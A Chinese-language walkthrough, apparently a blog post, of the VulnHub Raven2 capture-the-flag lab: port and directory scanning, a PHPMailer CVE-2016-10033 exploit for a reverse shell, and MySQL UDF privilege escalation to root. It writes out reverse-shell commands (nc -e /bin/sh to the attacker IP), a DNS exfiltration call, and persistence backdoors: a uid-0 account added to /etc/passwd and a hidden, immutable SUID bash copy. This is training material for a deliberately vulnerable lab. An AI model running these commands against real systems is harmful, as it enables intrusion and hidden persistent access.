渗透靶场之Raven2

目录

Raven2涉及知识

靶场下载及环境配置

渗透过程

信息收集阶段

一、扫描存活端口

二、端口扫描

服务渗透

1、http服务

目录爆破

/vendor/

/wordpress/

CVE-2016-10033

提权

crontab提权(失败)

udf提权

权限维持

增加超级用户账号

suid后门

结束总结


Raven2涉及知识

  1. 端口扫描工具使用
  2. 目录爆破工具使用
  3. Exp搜索以及使用
  4. mysql udf提权
  5. 权限维持

靶场下载及环境配置

靶场下载地址:https://download.vulnhub.com/raven/Raven2.ova

该靶场通关要求为:找到四个flag

下载靶场文件,使用vmware打开后缀名为.vmx的文件即可,启动后如下图所示:

下载下来默认网络适配器是桥接模式(目标机的IP与我Windows本机在一个网段),我将其改为NAT模式(目标机机IP与我虚拟机在一个网段)


渗透过程

信息收集阶段

一、扫描存活端口

首先我们需要确定需要攻击的主机ip,命令如下

nmap -sn 192.168.240.0/24 //nmap使用 -sn 扫描 仅扫描主机是否存活,不做过多扫描

从结果可得知目标ip为192.168.240.136,攻击ip为192.168.240.128

二、端口扫描

对目标ip进行端口扫描,对其开放端口以及服务信息进行收集,命令如下:

nmap -min--rate 1000 -p 0-65535 -sS 192.168.240.136

nmap -min--rate 1000 -p 0-65535 -sT 192.168.240.136

//分别使用-sS、-sT、-sU进行扫描

//-sS:使用半开放连接,速度快,并且可以绕过部分防火墙检测

//-sT:使用TCP连接进行端口探测,返回的信息更加详细

结果如下:

可以看到目标主机开放:22、80、111、44346端口,然后我们对这些端口进行更为详细的扫描

nmap -min--rate 1000 -p 22,80,111,44346 -sV 192.168.240.136

//使用-sV可以对端口开放信息进行更为详细的扫描

结果如下:

使用nmap对该主机进行简单漏洞扫描

nmap -min--rate 1000 --script=value -p 22,80,111,44346 192.168.240.136

结果如下:

扫描结果显示:该主机存在DOS攻击风险(可以忽略),80端口爆破出一些目录:可以看到有wordpress以及一些其他目录,一会可以使用目录爆破进行进一步探测。

总结端口扫描的信息如下:

  1. 22 :ssh爆破
  2. 80 :目录爆破
  3. 80 :存在DOS攻击

端口扫描结束

服务渗透

http服务

首先访问一下网站页面:

目录爆破

dirsearch -u http://192.168.240.136 -x 403

//对http://192.168.240.136页面进行爆破,并且过滤状态码为403的页面

发现以下疑似敏感目录:

http://192.168.240.136/vendor/

http://192.168.240.136/wordpress/

/vendor/

存在目录遍历漏洞

首先查看README.md文件:

发现使用函数包PHPMailer[PHPMailer是一个用于发送电子邮件PHP函数包。直接用PHP就可以发送,无需搭建复杂的Email服务]

查看PATH文件

发现绝对路径:/var/www/html/vendor/

并且拿到第一个flag

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
//md5解密后:Raven2Flag1
//推荐解密网站:MD5免费在线解密破解_MD5在线加密-SOMD5

继续查看泄露文件信息:

查看SECURITY.md文件

发现一些PHPMailer的历史漏洞信息

查看VERSION文件

该信息疑似PHPMailer的版本信息:5.2.16,根据SECURITY.md中的信息,可以找到这个版本存在CVE-2016-10033漏洞

进行记录,等目录访问结束进行尝试

到此泄露文件信息查询结束

/wordpress/

wordpress是一个基于php开发的博客系统,存在多个历史漏洞,可以使用wpscan工具进行漏洞扫描

wpscan http://192.168.240.136/wordpress/

//wpscan是一款专门针对wordpress的扫描工具,采用ruby语言编写,能够扫描worpress网站中包括主题漏洞、插件漏洞以及wordpress网站本身存在的漏洞。

扫描出一些敏感目录

尝试访问:http://192.168.240.136/wordpress/wp-content/uploads/

发现其目录下存在第三个flag

 flag3(a0f568aa9de277887f37730d71520d9b}
//md5解密后:Raven2Flag3
//推荐解密网站:MD5免费在线解密破解_MD5在线加密-SOMD5

访问了其他泄露的目录,未有新的发现,目录泄露利用到此结束

CVE-2016-10033

在漏洞库中进行搜索该漏洞Exp:

找到EDB-ID=40974

在kali中的Exp库中进行搜索:

searchsploit 40974 //搜索EDB-ID对应的exp

searchsploit -p php/webapps/40974.py //寻找该exp的存储位置进行利用

把exp复制到桌面,进行修改并利用

cp /usr/share/exploitdb/exploits/php/webapps/40974.py /home/kali/Desktop/

//cp 将文件复制到目标目录下

查看40974.py

vi /home/kali/Desktop/40974.py

执行该exp,需要知道目标网站目录的绝对路径(在PATH中已经获取),设置一个目标网站的网页URL,访问该URL会在你设置的绝对路径下生成shell文件,反弹shell,修改的内容如下:

target:触发生成shell文件的URL,可以设置为http://192.168.240.136/contact.php

backdoor:生成的shell文件名,自定义

fields中的email参数中的-OQueueDirectory:生成shell的绝对路径

payload参数中修改反弹shell连接的ip和端口

最终exp如下:

接下来我们只需要访问目标主机:http://192.168.240.136/content.php,就会在同目录下生成一个shell.php,访问shell.php文件的url,就会实现反弹shell

首先我们使用nc监听我们的4444端口

nc -lvnp 4444

新打开一个shell,然后运行40874.py

然后访问目标网站:http://192.168.240.136/contact.php生成shell.php文件,然后在访问http://192.168.240.136/shell.php文件进行反弹shell

反弹shell成功,目前看到的是一个伪shell,执行以下命令

python -c 'import pty;pty.spawn("/bin/bash")'

查看一下目前shell的权限

whoami

id

可以看到目前的权限非常小,首先搜索一下flag

find / -name flag*

找到了flag2.txt

查看flag2.txt内容

flag2{6a8ed560f0b5358ecf844108048eb337}
//md5解密后:Raven2Flag2
//推荐解密网站:MD5免费在线解密破解_MD5在线加密-SOMD5

最后一个flag应该就在root目录下了,我们需要对此权限做提权处理

提权

crontab提权(失败)

首先尝试crontab提权,查看/etc/crontab

/etc/crontab:这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab

没有发现可以利用的计划任务文件

udf提权

尝试passwd提权、suid提权无果,查看网站目录是否存在账号密码等信息

发现配置文件config,查看发现mysql账号跟密码泄露

mysql -u root -p

R@v3nSecurity

首先查看mysql运行的权限

ps -aux | grep "mysql"

可以看到mysql是以root权限运行的,登录mysql

登录成功

可以对mysql.user表进行查询,权限足够大

可以尝试udf提权

首先进行一波信息收集

需要收集的信息如下:

mysql版本

secure_file_priv 值

plugin目录绝对路径

select version();

show variables like '%secure_file_priv%';

show variables like '%plugin%';

查询结果如下:

mysql版本:5.5.60(version>5.1.0,需要将udf.dll放置在plugin目录下)

secure_file_priv:空(允许文件导入导出)

plugin目录绝对路径:/usr/lib/mysql/plugin/

udf提权的前提:

  1. mysql权限是root(需要操作func表,需要有insert权限)
  2. secure_file_priv为空(允许导入导出文件)

搜索mysql 5.x UDF exploit

找到EDB-ID编号为1518的exp,开始利用

首先在kali中查找该exp

将其复制到桌面

然后执行以下命令

gcc -g -c 1518.c

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc

然后将raptor_udf2.so上传到/tmp/目录(因为/tmp/目录可写),步骤如下:

在kali中运行python -m http.server 80 打开远程服务器

在/tmp/中执行wget http://192.168.240.128/raptor_udf2.so,将其远程下载到攻击机上

下载成功,接下来登录mysql使用以下命令

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/raptor_udf2.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

create function do_system returns integer soname 'raptor_udf2.so';

select * from mysql.func;

到最后如果结果如下所示,说明创建函数成功:

接下来我们就可以使用do_system函数去执行系统命令

首先让我们测试一下使用do_system函数执行系统命令的权限

如图,因为使用函数执行命令无法将显示执行结果,所以我们使用Dnslog将返回信息带出来

推荐使用Dnslog平台:CEYE - Monitor service for security testing

使用的命令如下:

select do_system('wget *.ceye.io/`id`');

可以看到执行命令的权限是root,接下来只需要用root权限反弹shell即可

首先在kali上监听端口

nc -lvnp 7777

在shell中执行以下命令

do_system('nc -e /bin/sh 192.168.240.128 7777');

反弹root权限的shell,在root目录下查找最后一个flag

权限维持

增加超级用户账号

perl -le 'print crypt("passwd","salt")'

sadtCr0CILzv2

echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

创建超级权限账户成功

suid后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以root身份执行的

SUID(Set User ID)位是UNIX和UNIX-like操作系统中的一种权限位,用于指定在执行该文件时以文件所有者的权限而不是执行用户的权限来运行该文件。

cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot //赋予权限4:可读,2:可写,1:可查(4+2+1=7)第一位4表示设置SUID位
ls -al /tmp/.woot

执行以上命令,我们就可以通过普通shell权限执行/tmp/.woot来获取文件拥有者的root权限

然后我们可以使用www-data权限的shell去运行/tmp/.woot文件来获取root权限

bash2 针对 suid 有一些防护的措施,使用-p参数来获取一个root shell

首先因为文件是/.woot以.结尾,所以不能使用ls查看,必须使用ls -al查看,我们再为它加一层防护

chattr +i /tmp/.woot  //给/tmp/.woot文件上锁,在去掉该属性之前都无法删除

可以看到上锁成功

lsattr /tmp/.woot //查看其他属性

chattr -i /tmp/.woot //去除属性,去除之后就可以删除了

SUID后门制作成功

到此实验结束

结束总结

Raven2是一个综合性比较高的靶机,有Exp利用,还有UDF提权,最后我也是补充了一点权限维持的操作,总的来说难度为中级。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值